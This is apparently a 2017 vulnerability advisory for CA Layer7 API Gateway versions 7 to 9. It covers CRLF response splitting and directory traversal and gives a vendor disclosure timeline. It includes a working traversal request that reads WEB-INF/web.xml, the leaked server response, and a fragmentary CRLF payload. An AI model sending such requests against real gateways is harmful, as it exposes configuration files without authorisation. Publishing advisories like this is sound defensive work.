Computer Associates (Layer7) API Gateway 7 / 8 / 9 CRLF Response Splitting / Directory Traversal

Computer Associates API Gateway versions 7, 8, and 9 suffer from CRLF response splitting and directory traversal vulnerabilities.

MD5 | aa9a6a201080c8ae019201036b421b1b


Computer Associates (Layer7) API Gateway

Versions affected:
v7, v8, v9


1) CRLF Response Splitting


Parameters uri='/test
<h1>string' did not resolve to any service.

2) Directory traversal

GET /ssg/../WEB-INF/web.xml HTTP/1.1
Host: [target]:8443

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"18991--1"
Last-Modified: Wed, 25 Nov 2015 06:57:05 GMT
Content-Type: text/xml
ntCoent-Length: 18991
Date: Wed, 25 Nov 2015 06:57:04 GMT
Cache-Control: private
Content-Length: 18991

<?xml version="1.0" encoding="ISO-8859-1"?>
<!-- The ssg (aka UneasyRooster) web application DD -->
<display-name>Layer7 Secure Span Gateway</display-name>

<!-- Spring configuration file
used by the org.springframework.web.context.ContextLoaderListener

Discovered by Patrick Webster

Disclosure timeline:
25-Nov-2015 - Discovered during audit.
27-Nov-2015 - Reported to vendor. Vendor response.
19-Mar-2016 - Vendor patched CRLF injection with release 7.1.04, 8.3.01, 8.4.01
09-Aug-2016 - Vendor patched directory traversal with release 7.1.04 ,
8.3.01, 8.4.01, and 9.1
04-Apr-2017 - Public disclosure.

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